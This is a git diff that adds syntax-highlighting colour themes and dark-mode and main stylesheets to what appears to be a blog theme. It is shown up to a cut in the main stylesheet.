diff --git a/css/highlight/tomorrow-night-eighties.css b/css/highlight/tomorrow-night-eighties.css
new file mode 100644
index 00000000..b489c958
--- /dev/null
+++ b/css/highlight/tomorrow-night-eighties.css
@@ -0,0 +1,74 @@
+/* Tomorrow Night Eighties Theme */
+/* Original theme - https://github.com/chriskempson/tomorrow-theme */
+/* http://jmblog.github.com/color-themes-for-google-code-highlightjs */
+
+/* Tomorrow Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #999999;
+}
+
+/* Tomorrow Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .regexp,
+.highlight .deletion {
+ color: #f2777a;
+}
+
+/* Tomorrow Orange */
+.highlight .number,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params,
+.highlight .meta,
+.highlight .link {
+ color: #f99157;
+}
+
+/* Tomorrow Yellow */
+.highlight .attribute {
+ color: #ffcc66;
+}
+
+/* Tomorrow Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .addition {
+ color: #99cc99;
+}
+
+/* Tomorrow Blue */
+.highlight .title,
+.highlight .section {
+ color: #6699cc;
+}
+
+/* Tomorrow Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #cc99cc;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #2d2d2d;
+ color: #cccccc;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/tomorrow-night.css b/css/highlight/tomorrow-night.css
new file mode 100644
index 00000000..65b6189d
--- /dev/null
+++ b/css/highlight/tomorrow-night.css
@@ -0,0 +1,75 @@
+/* Tomorrow Night Theme */
+/* http://jmblog.github.com/color-themes-for-google-code-highlightjs */
+/* Original theme - https://github.com/chriskempson/tomorrow-theme */
+/* http://jmblog.github.com/color-themes-for-google-code-highlightjs */
+
+/* Tomorrow Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #969896;
+}
+
+/* Tomorrow Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .regexp,
+.highlight .deletion {
+ color: #cc6666;
+}
+
+/* Tomorrow Orange */
+.highlight .number,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params,
+.highlight .meta,
+.highlight .link {
+ color: #de935f;
+}
+
+/* Tomorrow Yellow */
+.highlight .attribute {
+ color: #f0c674;
+}
+
+/* Tomorrow Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .addition {
+ color: #b5bd68;
+}
+
+/* Tomorrow Blue */
+.highlight .title,
+.highlight .section {
+ color: #81a2be;
+}
+
+/* Tomorrow Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #b294bb;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: #1d1f21;
+ color: #c5c8c6;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/tomorrow.css b/css/highlight/tomorrow.css
new file mode 100644
index 00000000..b4c431b7
--- /dev/null
+++ b/css/highlight/tomorrow.css
@@ -0,0 +1,72 @@
+/* http://jmblog.github.com/color-themes-for-google-code-highlightjs */
+
+/* Tomorrow Comment */
+.highlight .comment,
+.highlight .quote {
+ color: #8e908c;
+}
+
+/* Tomorrow Red */
+.highlight .variable,
+.highlight .template-variable,
+.highlight .tag,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .regexp,
+.highlight .deletion {
+ color: #c82829;
+}
+
+/* Tomorrow Orange */
+.highlight .number,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .literal,
+.highlight .type,
+.highlight .params,
+.highlight .meta,
+.highlight .link {
+ color: #f5871f;
+}
+
+/* Tomorrow Yellow */
+.highlight .attribute {
+ color: #eab700;
+}
+
+/* Tomorrow Green */
+.highlight .string,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .addition {
+ color: #718c00;
+}
+
+/* Tomorrow Blue */
+.highlight .title,
+.highlight .section {
+ color: #4271ae;
+}
+
+/* Tomorrow Purple */
+.highlight .keyword,
+.highlight .selector-tag {
+ color: #8959a8;
+}
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ background: white;
+ color: #4d4d4c;
+ padding: 0.5em;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/vs.css b/css/highlight/vs.css
new file mode 100644
index 00000000..143810dc
--- /dev/null
+++ b/css/highlight/vs.css
@@ -0,0 +1,68 @@
+/*
+
+Visual Studio-like style based on original C# coloring by Jason Diamond
+
+*/
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: white;
+ color: black;
+}
+
+.highlight .comment,
+.highlight .quote,
+.highlight .variable {
+ color: #008000;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .built_in,
+.highlight .name,
+.highlight .tag {
+ color: #00f;
+}
+
+.highlight .string,
+.highlight .title,
+.highlight .section,
+.highlight .attribute,
+.highlight .literal,
+.highlight .template-tag,
+.highlight .template-variable,
+.highlight .type,
+.highlight .addition {
+ color: #a31515;
+}
+
+.highlight .deletion,
+.highlight .selector-attr,
+.highlight .selector-pseudo,
+.highlight .meta {
+ color: #2b91af;
+}
+
+.highlight .doctag {
+ color: #808080;
+}
+
+.highlight .attr {
+ color: #f00;
+}
+
+.highlight .symbol,
+.highlight .bullet,
+.highlight .link {
+ color: #00b0e8;
+}
+
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/highlight/vs2015.css b/css/highlight/vs2015.css
new file mode 100644
index 00000000..b28ace03
--- /dev/null
+++ b/css/highlight/vs2015.css
@@ -0,0 +1,115 @@
+/*
+ * Visual Studio 2015 dark style
+ * Author: Nicolas LLOBERA
+ */
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #1E1E1E;
+ color: #DCDCDC;
+}
+
+.highlight .keyword,
+.highlight .literal,
+.highlight .symbol,
+.highlight .name {
+ color: #569CD6;
+}
+.highlight .link {
+ color: #569CD6;
+ text-decoration: underline;
+}
+
+.highlight .built_in,
+.highlight .type {
+ color: #4EC9B0;
+}
+
+.highlight .number,
+.highlight .class {
+ color: #B8D7A3;
+}
+
+.highlight .string,
+.highlight .meta-string {
+ color: #D69D85;
+}
+
+.highlight .regexp,
+.highlight .template-tag {
+ color: #9A5334;
+}
+
+.highlight .subst,
+.highlight .function,
+.highlight .title,
+.highlight .params,
+.highlight .formula {
+ color: #DCDCDC;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #57A64A;
+ font-style: italic;
+}
+
+.highlight .doctag {
+ color: #608B4E;
+}
+
+.highlight .meta,
+.highlight .meta-keyword,
+.highlight .tag {
+ color: #9B9B9B;
+}
+
+.highlight .variable,
+.highlight .template-variable {
+ color: #BD63C5;
+}
+
+.highlight .attr,
+.highlight .attribute,
+.highlight .builtin-name {
+ color: #9CDCFE;
+}
+
+.highlight .section {
+ color: gold;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
+
+/*.highlight .code {
+ font-family:'Monospace';
+}*/
+
+.highlight .bullet,
+.highlight .selector-tag,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .selector-attr,
+.highlight .selector-pseudo {
+ color: #D7BA7D;
+}
+
+.highlight .addition {
+ background-color: #144212;
+ display: inline-block;
+ width: 100%;
+}
+
+.highlight .deletion {
+ background-color: #600;
+ display: inline-block;
+ width: 100%;
+}
diff --git a/css/highlight/xcode.css b/css/highlight/xcode.css
new file mode 100644
index 00000000..4f61e1b1
--- /dev/null
+++ b/css/highlight/xcode.css
@@ -0,0 +1,104 @@
+/*
+
+XCode style (c) Angel Garcia
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #fff;
+ color: black;
+}
+
+/* Gray DOCTYPE selectors like WebKit */
+.xml .highlight .meta {
+ color: #c0c0c0;
+}
+
+.highlight .comment,
+.highlight .quote {
+ color: #007400;
+}
+
+.highlight .tag,
+.highlight .attribute,
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .literal,
+.highlight .name {
+ color: #aa0d91;
+}
+
+.highlight .variable,
+.highlight .template-variable {
+ color: #3F6E74;
+}
+
+.highlight .code,
+.highlight .string,
+.highlight .meta-string {
+ color: #c41a16;
+}
+
+.highlight .regexp,
+.highlight .link {
+ color: #0E0EFF;
+}
+
+.highlight .title,
+.highlight .symbol,
+.highlight .bullet,
+.highlight .number {
+ color: #1c00cf;
+}
+
+.highlight .section,
+.highlight .meta {
+ color: #643820;
+}
+
+
+.highlight .class .highlight .title,
+.highlight .type,
+.highlight .built_in,
+.highlight .builtin-name,
+.highlight .params {
+ color: #5c2699;
+}
+
+.highlight .attr {
+ color: #836C28;
+}
+
+.highlight .subst {
+ color: #000;
+}
+
+.highlight .formula {
+ background-color: #eee;
+ font-style: italic;
+}
+
+.highlight .addition {
+ background-color: #baeeba;
+}
+
+.highlight .deletion {
+ background-color: #ffc8bd;
+}
+
+.highlight .selector-id,
+.highlight .selector-class {
+ color: #9b703f;
+}
+
+.highlight .doctag,
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
diff --git a/css/highlight/xt256.css b/css/highlight/xt256.css
new file mode 100644
index 00000000..b38f87c5
--- /dev/null
+++ b/css/highlight/xt256.css
@@ -0,0 +1,92 @@
+
+/*
+ xt256.css
+
+ Contact: initbar [at] protonmail [dot] ch
+ : github.com/initbar
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ color: #eaeaea;
+ background: #000;
+ padding: 0.5em;
+}
+
+.highlight .subst {
+ color: #eaeaea;
+}
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
+
+.highlight .builtin-name,
+.highlight .type {
+ color: #eaeaea;
+}
+
+.highlight .params {
+ color: #da0000;
+}
+
+.highlight .literal,
+.highlight .number,
+.highlight .name {
+ color: #ff0000;
+ font-weight: bolder;
+}
+
+.highlight .comment {
+ color: #969896;
+}
+
+.highlight .selector-id,
+.highlight .quote {
+ color: #00ffff;
+}
+
+.highlight .template-variable,
+.highlight .variable,
+.highlight .title {
+ color: #00ffff;
+ font-weight: bold;
+}
+
+.highlight .selector-class,
+.highlight .keyword,
+.highlight .symbol {
+ color: #fff000;
+}
+
+.highlight .string,
+.highlight .bullet {
+ color: #00ff00;
+}
+
+.highlight .tag,
+.highlight .section {
+ color: #000fff;
+}
+
+.highlight .selector-tag {
+ color: #000fff;
+ font-weight: bold;
+}
+
+.highlight .attribute,
+.highlight .built_in,
+.highlight .regexp,
+.highlight .link {
+ color: #ff00ff;
+}
+
+.highlight .meta {
+ color: #fff;
+ font-weight: bolder;
+}
diff --git a/css/highlight/zenburn.css b/css/highlight/zenburn.css
new file mode 100644
index 00000000..9fcb1548
--- /dev/null
+++ b/css/highlight/zenburn.css
@@ -0,0 +1,80 @@
+/*
+
+Zenburn style from voldmar.ru (c) Vladimir Epifanov
+based on dark.css by Ivan Sagalaev
+
+*/
+
+.highlight {
+ display: block;
+ overflow-x: auto;
+ padding: 0.5em;
+ background: #3f3f3f;
+ color: #dcdcdc;
+}
+
+.highlight .keyword,
+.highlight .selector-tag,
+.highlight .tag {
+ color: #e3ceab;
+}
+
+.highlight .template-tag {
+ color: #dcdcdc;
+}
+
+.highlight .number {
+ color: #8cd0d3;
+}
+
+.highlight .variable,
+.highlight .template-variable,
+.highlight .attribute {
+ color: #efdcbc;
+}
+
+.highlight .literal {
+ color: #efefaf;
+}
+
+.highlight .subst {
+ color: #8f8f8f;
+}
+
+.highlight .title,
+.highlight .name,
+.highlight .selector-id,
+.highlight .selector-class,
+.highlight .section,
+.highlight .type {
+ color: #efef8f;
+}
+
+.highlight .symbol,
+.highlight .bullet,
+.highlight .link {
+ color: #dca3a3;
+}
+
+.highlight .deletion,
+.highlight .string,
+.highlight .built_in,
+.highlight .builtin-name {
+ color: #cc9393;
+}
+
+.highlight .addition,
+.highlight .comment,
+.highlight .quote,
+.highlight .meta {
+ color: #7f9f7f;
+}
+
+
+.highlight .emphasis {
+ font-style: italic;
+}
+
+.highlight .strong {
+ font-weight: bold;
+}
diff --git a/css/style/dark.css b/css/style/dark.css
new file mode 100644
index 00000000..958c4d43
--- /dev/null
+++ b/css/style/dark.css
@@ -0,0 +1,74 @@
+@media (prefers-color-scheme: dark) {
+ :root {
+ --color-mode: 'dark';
+ }
+ :root:not([data-user-color-scheme]) {
+ --main-color: #bb86fc;
+ --bg-color: #121212;
+ --bg-content-color: #1e1e1e;
+ --bg-menu: #363636;
+ --bg-tag-color: #696969;
+ --bg-codeblock: #000;
+ --bg-code: rgba(240,246,252,0.149);
+ --body-color: rgba(255,255,255,0.8);
+ --title-color: rgba(252,252,252,0.9);
+ --border-color: rgba(255,255,255,0.1);
+ }
+ :root:not([data-user-color-scheme]) blockquote {
+ border-left: 0.25em solid rgba(255,255,255,0.5);
+ color: rgba(255,255,255,0.5);
+ }
+ :root:not([data-user-color-scheme]) .post__license {
+ background-color: rgba(255,255,255,0.2);
+ }
+ :root:not([data-user-color-scheme]) .post__content img {
+ opacity: 0.8;
+ filter: brightness(0.8) contrast(1.2);
+ }
+ :root:not([data-user-color-scheme]) .post__content img:hover {
+ opacity: 1;
+ filter: none;
+ }
+ :root:not([data-user-color-scheme]) .sliding-fold,
+ :root:not([data-user-color-scheme]) details {
+ background: #333;
+ }
+ :root:not([data-user-color-scheme]) table tr:not(.code):not(.gutter):nth-child(2n) {
+ background-color: #272727;
+ }
+}
+[data-user-color-scheme="dark"] {
+ --color-mode: 'dark';
+ --main-color: #bb86fc;
+ --bg-color: #121212;
+ --bg-content-color: #1e1e1e;
+ --bg-menu: #363636;
+ --bg-tag-color: #696969;
+ --bg-codeblock: #000;
+ --bg-code: rgba(240,246,252,0.149);
+ --body-color: rgba(255,255,255,0.8);
+ --title-color: rgba(252,252,252,0.9);
+ --border-color: rgba(255,255,255,0.1);
+}
+[data-user-color-scheme="dark"] blockquote {
+ border-left: 0.25em solid rgba(255,255,255,0.5);
+ color: rgba(255,255,255,0.5);
+}
+[data-user-color-scheme="dark"] .post__license {
+ background-color: rgba(255,255,255,0.2);
+}
+[data-user-color-scheme="dark"] .post__content img {
+ opacity: 0.8;
+ filter: brightness(0.8) contrast(1.2);
+}
+[data-user-color-scheme="dark"] .post__content img:hover {
+ opacity: 1;
+ filter: none;
+}
+[data-user-color-scheme="dark"] .sliding-fold,
+[data-user-color-scheme="dark"] details {
+ background: #333;
+}
+[data-user-color-scheme="dark"] table tr:not(.code):not(.gutter):nth-child(2n) {
+ background-color: #272727;
+}
diff --git a/css/style/main.css b/css/style/main.css
new file mode 100644
index 00000000..09f4223f
--- /dev/null
+++ b/css/style/main.css
@@ -0,0 +1,1775 @@
+:root {
+ --s: #3273dc;
+ --bg: #fff;
+ --bg-c: #fff;
+ --bg-h: rgba(255, 255, 255, 0.6);
+ --bg-m: #eceef2;
+ --bg-ta: #f4f4f4;
+ --bg-ca: #c2c2c2;
+ --bg-code: #eee;
+ --bg-codeblock: #f8f8f8;
+ --ic: #37475b;
+ --f: #4c4d4e;
+ --t: #50596c;
+ --t-l: #808080;
+ --b: #e1e4e8;
+ --n: 2.5rem;
+ --w: 760px;
+ --c: 100vw;
+ --c-m: 100%;
+ --c-s: 0
+}
+
+@media screen and (min-width: 1280px) {
+ :root {
+ --c: 1258px
+ }
+}
+
+@media screen and (min-width: 1472px) {
+ :root {
+ --c: 1450px
+ }
+}
+
+@media screen and (min-width: 768px) {
+ :root {
+ --c-m: 75%;
+ --c-s: 25%
+ }
+}
+
+@media screen and (min-width: 1080px) {
+ :root {
+ --c-m: 60%;
+ --c-s: 20%
+ }
+}
+
+html {
+ height: 100%;
+ scroll-behavior: smooth
+}
+
+::-webkit-scrollbar {
+ width: .55rem !important;
+ height: .4rem !important;
+ background: 0 0 !important
+}
+
+::-webkit-scrollbar-thumb {
+ border-radius: 9999px;
+ background: #b5b5b5 !important
+}
+
+@media screen and (max-width: 762px) {
+ ::-webkit-scrollbar {
+ width: .25rem !important;
+ height: .16rem !important
+ }
+}
+
+body {
+ height: 100%;
+ --base-font-size: 16px;
+ font-size: var(--base-font-size);
+ font-weight: 400;
+ font-family: -apple-system, system-ui, BlinkMacSystemFont, 'Segoe UI', Roboto, 'PingFang SC', 'Hiragino Sans GB', 'Source Han Sans SC', 'Noto Sans CJK SC', 'Microsoft YaHei', 'WenQuanYi Micro Hei', 'WenQuanYi Zen Hei', 'Helvetica Neue', Arial, sans-serif;
+ background-color: var(--bg);
+ color: var(--f);
+ transition: color .6s, background-color .6s;
+ scroll-behavior: smooth;
+ margin: 0;
+ padding: 0;
+ line-height: 1.8
+}
+
+@media screen and (max-width: 650px) {
+ body {
+ --n: 1.5rem
+ }
+}
+
+article,
+aside,
+figcaption,
+figure,
+footer,
+header,
+main,
+nav {
+ display: block
+}
+
+main {
+ margin: 0 auto;
+ padding: 1.5vw 12px 0;
+ width: var(--c) !important
+}
+
+main.links,
+main.tagscloud {
+ max-width: 1024px;
+ margin: auto
+}
+
+.app-shell-loader {
+ display: none;
+ -webkit-animation: none;
+ animation: none
+}
+
+.container {
+ display: grid;
+ min-height: 100%;
+ max-width: 100vw;
+ grid-template-rows: auto auto 1fr auto
+}
+
+.container>* {
+ max-width: 100vw
+}
+
+.card {
+ background-color: var(--bg-c);
+ margin: 0 auto;
+ transition: background-color .6s;
+ padding: var(--n);
+ border-radius: 10px;
+ border: 1px solid var(--b)
+}
+
+.card>:first-child {
+ margin-top: 0
+}
+
+.card>:last-child {
+ margin-bottom: 0
+}
+
+.MathJax {
+ overflow-x: auto;
+ overflow-y: hidden
+}
+
+.separate-dot:after {
+ content: ' · '
+}
+
+h1,
+h2,
+h3,
+h4,
+h5 {
+ transition: color .6s;
+ color: var(--t);
+ margin: 1.75rem 0 1.25rem;
+ font-weight: 400;
+ line-height: 1.5
+}
+
+h1 {
+ font-size: 2em
+}
+
+h2 {
+ font-size: 1.6em
+}
+
+h3 {
+ font-size: 1.4em
+}
+
+h4 {
+ font-size: 1.2em
+}
+
+h5 {
+ font-size: 1.05em
+}
+
+small {
+ font-size: .889em
+}
+
+b,
+strong {
+ font-weight: 700
+}
+
+m,
+mark {
+ background: #f9de4b;
+ color: #4c4d4e
+}
+
+em {
+ font-style: italic
+}
+
+s {
+ text-decoration: line-through
+}
+
+* {
+ box-sizing: border-box;
+ font-smoothing: antialiased;
+ osx-font-smoothing: grayscale
+}
+
+[id] {
+ scroll-margin-top: 54px
+}
+
+a {
+ color: var(--s);
+ cursor: pointer;
+ text-decoration: none
+}
+
+a:not(.button) {
+ transition: opacity .2s
+}
+
+a:not(.button):hover {
+ opacity: .8;
+ text-decoration: underline
+}
+
+a .index-title {
+ color: var(--t)
+}
+
+img {
+ max-width: 100%
+}
+
+img.lazy {
+ transition: filter 375ms ease-in .25s
+}
+
+img.lazy:not(.loaded) {
+ filter: blur(2px)
+}
+
+hr {
+ box-sizing: initial;
+ height: 0;
+ overflow: visible;
+ margin: 15px 0;
+ overflow: hidden;
+ background: 0 0;
+ border: 0;
+ border-bottom: 1px solid #dfe2e5;
+ border-bottom-color: #eee;
+ height: .1em;
+ padding: 0;
+ margin: 24px 0;
+ background-color: #e1e4e8
+}
+
+hr:after {
+ clear: both
+}
+
+input {
+ font: inherit;
+ margin: 0;
+ overflow: visible;
+ font-family: inherit;
+ font-size: inherit;
+ line-height: inherit
+}
+
+[type=checkbox] {
+ box-sizing: border-box;
+ padding: 0
+}
+
+kbd {
+ display: inline-block;
+ padding: 3px 5px;
+ font: 11px SFMono-Regular, Consolas, Liberation Mono, Menlo, monospace;
+ line-height: 10px;
+ color: #444d56;
+ vertical-align: middle;
+ background-color: #fafbfc;
+ border: 1px solid #d1d5da;
+ border-radius: 3px;
+ box-shadow: inset 0 -1px 0 #d1d5da
+}
+
+blockquote {
+ margin: 16px 0 16px 0;
+ padding: 0 1em;
+ color: #6a737d;
+ border-left: .25em solid #dfe2e5
+}
+
+blockquote>:first-child {
+ margin-top: 0
+}
+
+blockquote>:last-child {
+ margin-bottom: 0
+}
+
+dd {
+ margin-left: 0
+}
+
+pre {
+ margin-top: 0;
+ margin-bottom: 0;
+ word-wrap: normal
+}
+
+pre>code {
+ padding: 0;
+ margin: 0;
+ font-size: 100%;
+ word-break: normal;
+ white-space: pre;
+ background: 0 0;
+ border: 0
+}
+
+pre span {
+ display: inline;
+ max-width: auto;
+ padding: 0;
+ margin: 0;
+ overflow: auto;
+ line-height: inherit;
+ word-wrap: normal;
+ background-color: initial;
+ border: 0
+}
+
+li {
+ word-wrap: break-all
+}
+
+li>p {
+ margin-top: 16px
+}
+
+li+li {
+ margin-top: .25em
+}
+
+dl {
+ padding: 0
+}
+
+dl dt {
+ padding: 0;
+ margin-top: 16px;
+ font-size: 1em;
+ font-style: italic;
+ font-weight: 600
+}
+
+dl dd {
+ padding: 0 16px;
+ margin-bottom: 16px
+}
+
+code {
+ padding: .2em .4em;
+ margin: 0;
+ font-size: 14px;
+ background-color: var(--bg-code);
+ border-radius: 3px
+}
+
+a:active,
+a:hover {
+ outline-width: 0
+}
+
+code,
+kbd,
+pre {
+ font-family: Consolas, Monaco, SFMono-Regular, 'Andale Mono', 'Liberation Mono', 'Ubuntu Mono', Menlo, monospace;
+ font-size: 14px
+}
+
+hr:after,
+hr:before {
+ display: table;
+ content: ""
+}
+
+td,
+th {
+ padding: 0
+}
+
+ol,
+ul {
+ padding-left: 0;
+ margin-top: 0;
+ margin-bottom: 0;
+ padding-left: 2em
+}
+
+ol ol,
+ul ol {
+ list-style-type: lower-roman
+}
+
+ol ol ol,
+ol ul ol,
+ul ol ol,
+ul ul ol {
+ list-style-type: lower-alpha
+}
+
+input::-webkit-inner-spin-button,
+input::-webkit-outer-spin-button {
+ margin: 0;
+ -webkit-appearance: none;
+ appearance: none
+}
+
+blockquote,
+details,
+dl,
+ol,
+p,
+pre,
+table,
+ul {
+ margin-top: 0;
+ margin-bottom: 16px
+}
+
+ol ol,
+ol ul,
+ul ol,
+ul ul {
+ margin-top: 0;
+ margin-bottom: 0
+}
+
+figure {
+ padding: 0;
+ margin: 0;
+ margin-bottom: 16px
+}
+
+table {
+ display: block;
+ width: 100%;
+ overflow: auto
+}
+
+figure table {
+ border: none;
+ padding: 0;
+ max-width: 100%
+}
+
+figure table th {
+ font-weight: 600
+}
+
+figure table tr {
+ background-color: transparent;
+ border-top: none
+}
+
+figure table td.gutter {
+ padding-right: 1rem;
+ text-align: right;
+ background-color: transparent
+}
+
+pre {
+ padding: 0;
+ overflow: auto;
+ font-size: 14px;
+ line-height: 1.45;
+ border-radius: 3px
+}
+
+.task-list-item {
+ list-style-type: none
+}
+
+.task-list-item+.task-list-item {
+ margin-top: 3px
+}
+
+.task-list-item input {
+ margin: 0 .2em .25em -1.6em;
+ vertical-align: middle
+}
+
+table {
+ border-spacing: 0;
+ border-collapse: collapse
+}
+
+table th:not(.code):not(.gutter) {
+ font-weight: 700
+}
+
+table tr:not(.code):not(.gutter) {
+ background-color: #f6f8fa
+}
+
+table tr:not(.code):not(.gutter):not(.highlight) {
+ background-color: transparent
+}
+
+table tr:not(.code):not(.gutter):nth-child(2n) {
+ background-color: #f6f8fa
+}
+
+table td:not(.code):not(.gutter),
+table th:not(.code):not(.gutter) {
+ padding: 6px 13px;
+ border: 1px solid var(--b)
+}
+
+overflows table {
+ overflow: auto
+}
+
+overflows table td,
+overflows table th {
+ white-space: nowrap
+}
+
+.post-entry__content,
+.post__content {
+ -webkit-text-size-adjust: 100%;
+ -moz-text-size-adjust: 100%;
+ text-size-adjust: 100%;
+ color: var(--f);
+ font-size: 15px;
+ word-wrap: break-word
+}
+
+.post-entry__content .image-wrapper,
+.post__content .image-wrapper {
+ position: relative;
+ text-align: center;
+ margin: 20px auto;
+ max-width: 100%
+}
+
+.post-entry__content .image-wrapper img,
+.post__content .image-wrapper img {
+ border-radius: 4px
+}
+
+.post-entry__content .image-wrapper figcaption,
+.post__content .image-wrapper figcaption {
+ font-size: .875rem;
+ line-height: 1.125;
+ text-align: center;
+ margin-top: 10px;
+ color: grey
+}
+
+.post-entry__content a:not(.article-anchor),
+.post__content a:not(.article-anchor) {
+ background-color: initial;
+ color: currentColor !important;
+ border-bottom: 2px solid rgba(50, 115, 220, .5);
+ text-decoration: none !important
+}
+
+.post-entry__content a:not(.article-anchor):hover,
+.post__content a:not(.article-anchor):hover {
+ opacity: 1;
+ transition: box-shadow .2s linear;
+ box-shadow: inset 0 -8.8px rgba(50, 115, 220, .5)
+}
+
+.post-entry__content .hljs,
+.post__content .hljs {
+ padding: .8rem !important
+}
+
+.post-entry__content h1,
+.post-entry__content h2,
+.post-entry__content h3,
+.post-entry__content h4,
+.post-entry__content h5,
+.post-entry__content h6,
+.post__content h1,
+.post__content h2,
+.post__content h3,
+.post__content h4,
+.post__content h5,
+.post__content h6 {
+ margin-top: 24px;
+ margin-bottom: 16px;
+ font-weight: 700;
+ line-height: 1.25
+}
+
+.post-entry__content h1,
+.post-entry__content h2,
+.post__content h1,
+.post__content h2 {
+ padding-bottom: .3em;
+ border-bottom: 1px solid #eaecef
+}
+
+.post-entry__content h6,
+.post__content h6 {
+ font-size: .875em;
+ color: #6a737d
+}
+
+.post-entry__content>:first-child,
+.post__content>:first-child {
+ margin-top: 0
+}
+
+.post-entry__content>:last-child,
+.post__content>:last-child {
+ margin-bottom: 0
+}
+
+.license {
+ position: relative;
+ line-height: 1.2;
+ font-size: 1rem;
+ background: #f5f5f5;
+ color: var(--f);
+ margin: 1.5rem calc(-1 * var(--n)) 0 calc(-1 * var(--n));
+ overflow: hidden;
+ display: block;
+ padding: 1.25em 2.5em;
+ transition: color .6s, background .6s
+}
+
+.license:after {
+ position: absolute;
+ background: url("data:image/svg+xml;charset=utf-8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 496 512'%3E%3Cpath fill='%234a4a4a' d='M245.8 214.9l-33.2 17.3c-9.4-19.6-25.2-20-27.4-20-22.2 0-33.3 14.6-33.3 43.9 0 23.5 9.2 43.8 33.3 43.8 14.4 0 24.6-7 30.5-21.3l30.6 15.5a73.2 73.2 0 01-65.1 39c-22.6 0-74-10.3-74-77 0-58.7 43-77 72.6-77 30.8-.1 52.7 11.9 66 35.8zm143 0l-32.7 17.3c-9.5-19.8-25.7-20-27.9-20-22.1 0-33.2 14.6-33.2 43.9 0 23.5 9.2 43.8 33.2 43.8 14.5 0 24.7-7 30.5-21.3l31 15.5c-2 3.8-21.3 39-65 39-22.7 0-74-9.9-74-77 0-58.7 43-77 72.6-77C354 179 376 191 389 214.8zM247.7 8C104.7 8 0 123 0 256c0 138.4 113.6 248 247.6 248C377.5 504 496 403 496 256 496 118 389.4 8 247.6 8zm.8 450.8c-112.5 0-203.7-93-203.7-202.8 0-105.5 85.5-203.3 203.8-203.3A201.7 201.7 0 01451.3 256c0 121.7-99.7 202.9-202.9 202.9z'/%3E%3C/svg%3E");
+ content: ' ';
+ height: 200px;
+ width: 200px;
+ right: -40px;
+ top: -45px;
+ opacity: .1
+}
+
+.license-meta-title,
+.license-title {
+ margin: 0 0 .25rem
+}
+
+.license-link,
+.license-meta-title {
+ font-size: .8rem
+}
+
+.license-meta-text {
+ margin: 0
+}
+
+.license-meta {
+ margin-top: 1rem;
+ display: flex;
+ align-items: center;
+ justify-content: flex-start;
+ flex-wrap: wrap
+}
+
+.license-meta-item {
+ margin: 0 2rem 1em 0
+}
+
+.license a {
+ text-decoration: underline;
+ color: currentColor
+}
+
+.license-link {
+ color: #7a7a7a
+}
+
+cover {
+ display: block;
+ text-align: center;
+ margin: 3rem auto
+}
+
+cover .cover__logo {
+ max-width: 600px;
+ margin-left: auto;
+ margin-right: auto
+}
+
+cover .cover__avatar {
+ border-radius: 50%;
+ width: 96px;
+ height: 96px;
+ margin: 0 auto 1rem auto
+}
+
+cover .cover__intro {
+ color: #999
+}
+
+footer {
+ display: block;
+ align-items: center;
+ justify-content: center;
+ padding: 0;
+ margin-top: 4rem;
+ margin-bottom: 2rem;
+ text-align: center;
+ font-size: 1.1em;
+ font-family: rubik, -apple-system, BlinkMacSystemFont, Segoe UI, Helvetica, Arial, pingfang sc, noto sans cjk sc, sarasa gothic sc, microsoft yahei, sans-serif, Apple Color Emoji, Segoe UI Emoji, Varela Round;
+ color: #999
+}
+
+footer * {
+ margin: 0 auto;
+ -webkit-margin-before: 0;
+ margin-block-start: 0;
+ -webkit-margin-after: 0;
+ margin-block-end: 0;
+ -webkit-margin-start: 0;
+ margin-inline-start: 0;
+ -webkit-margin-end: 0;
+ margin-inline-end: 0
+}
+
+footer>span {
+ margin: 0 .35em
+}
+
+footer a {
+ color: #6b6b6b;
+ text-decoration: none
+}
+
+footer svg {
+ margin-right: .2rem
+}
+
+header {
+ display: flex;
+ justify-content: space-between;
+ align-items: center;
+ position: -webkit-sticky;
+ position: sticky;
+ height: 54px;
+ padding: 0 calc(var(--n)/ 2);
+ top: 0;
+ z-index: 10;
+ background-color: var(--bg-h);
+ border-bottom: 1px solid var(--b)
+}
+
+header .header__left,
+header .header__right {
+ display: flex;
+ align-items: center;
